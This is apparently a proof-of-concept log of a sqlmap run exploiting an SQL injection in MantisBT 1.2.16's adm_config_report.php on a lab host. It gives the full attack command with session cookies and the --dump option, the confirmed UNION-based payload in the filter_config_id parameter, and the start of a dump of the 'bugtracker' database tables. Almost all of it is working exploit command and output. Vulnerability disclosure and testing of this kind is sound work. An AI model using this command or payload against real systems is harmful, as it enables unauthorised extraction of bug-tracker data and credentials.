k@lab:~/src/sqlmap$ ./sqlmap.py -u "http://10.149.14.62//k/cms/mantis/mantisbt-1.2.16/adm_config_report.php" --data "save=1&filter_user_id=0&filter_project_id=0&filter_config_id=-2&apply_filter_button=Apply+Filter" -cookie "groupoffice=l8iqg3amg3klb0rn39u2ms19q3; p7token=2aec66601c948d5bf84eae77cc743529; itop-6e03ab144a03733e272e7756ba585991=ual3fb0vsqm9847uodsvs79472; PHPSESSID=3srq832a7cfmn6dku1ttr70tq1; utma=65758510.2100553510.1393586134.1393586134.1393586134.1; utmc=65758510;__utmz=65758510.1393586134.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MANTIS_secure_session=1; MANTIS_STRING_COOKIE=f53b003d0014eeea9028334751d8c28bf8f23e56fe7bc77e46bbe7c857a280f4; MANTIS_PROJECT_COOKIE=1; MANTIS_MANAGE_CONFIG_COOKIE=0%3A0%3A-2; MANTIS_VIEW_ALL_COOKIE=1; MANTIS_BUG_LIST_COOKIE=1;" --dbms=mysql --dump

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 15:19:12

[15:19:12] [INFO] testing connection to the target URL
[15:19:12] [INFO] testing if the target URL is stable. This can take a couple of seconds
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie h
[15:19:16] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[15:19:17] [INFO] testing if POST parameter 'save' is dynamic
[15:19:17] [WARNING] POST parameter 'save' does not appear dynamic
(...)
[15:20:32] [INFO] target URL appears to be UNION injectable with 6 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[15:22:22] [INFO] testing 'Generic UNION query (11) - 1 to 10 columns'
[15:22:25] [INFO] target URL appears to be UNION injectable with 7 columns
[15:22:32] [INFO] POST parameter 'filter_config_id' is 'Generic UNION query (11) - 1 to 10 columns' injectable
POST parameter 'filter_config_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
(...)

[15:23:13] [WARNING] POST parameter 'apply_filter_button' is not injectable
sqlmap identified the following injection points with a total of 815 HTTP(s) requests:

Place: POST
Parameter: filter_config_id
Type: UNION query
Title: Generic UNION query (11) - 6 columns
Payload: save=1&filter_user_id=0&filter_project_id=0&filter_config_id=-4074' UNION ALL SELECT 11,CONCAT(0x716b737471,0x737a4e7050735579665a,0x71706b6d71),11,11,11,11-- &apply_filter_button=Apply Filter

[15:23:13] [INFO] testing MySQL
[15:23:14] [INFO] confirming MySQL
[15:23:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.2.22, PHP 5.4.4
back-end DBMS: MySQL >= 5.0.0
[15:23:14] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[15:23:14] [INFO] fetching current database
[15:23:14] [INFO] fetching tables for database: 'bugtracker'
[15:23:14] [INFO] the SQL query used returns 31 entries
[15:23:15] [INFO] retrieved: "mantis_bug_file_table"
[15:23:15] [INFO] retrieved: "mantis_bug_history_table"
[15:23:15] [INFO] retrieved: "mantis_bug_monitor_table"
[15:23:15] [INFO] retrieved: "mantis_bug_relationship_table"
[15:23:15] [INFO] retrieved: "mantis_bug_revision_table"
[15:23:15] [INFO] retrieved: "mantis_bug_table"
[15:23:16] [INFO] retrieved: "mantis_bug_tag_table"
[15:23:16] [INFO] retrieved: "mantis_bug_text_table"
[15:23:16] [INFO] retrieved: "mantis_bugnote_table"
[15:23:16] [INFO] retrieved: "mantis_bugnote_text_table"
[15:23:16] [INFO] retrieved: "mantis_category_table"
(...)